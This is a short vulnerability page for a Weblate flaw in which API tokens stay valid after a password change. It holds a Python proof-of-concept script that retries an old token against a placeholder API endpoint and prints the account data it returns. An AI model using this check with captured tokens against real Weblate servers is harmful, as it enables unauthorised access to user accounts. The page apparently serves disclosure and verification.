CVE-2026-41519 Weblate API令牌未撤销漏洞

import requests # Target configuration TARGET_API = "https://example.com/api/" OLD_TOKEN = "wlu_xxxxxxxxxxxxx" # The token obtained before password change headers = { "Authorization": f"Token {OLD_TOKEN}" } # Step 1: Verify access with old token before password change print("[+] Checking access with old token before password change...") response = requests.get(f"{TARGET_API}users/me/", headers=headers) if response.status_code == 200: print("[+] Access granted. Old token is valid.") else: print("[-] Access denied. Check token or network.") exit(1) # Step 2: Simulate the user changing their password via Web Interface # (This step is performed by the user in the browser, invalidating the session) print("[+] User changes password via Web Interface (Session keys cycled)...") # Step 3: Attacker attempts to use the old API token again print("[+] Attempting to use old API token after password change...") response = requests.get(f"{TARGET_API}users/me/", headers=headers) if response.status_code == 200: print("[!] VULNERABILITY CONFIRMED: Old API token is still valid!") print(f"[!] Data leaked: {response.json()}") else: print("[+] Mitigation detected: Token was revoked.")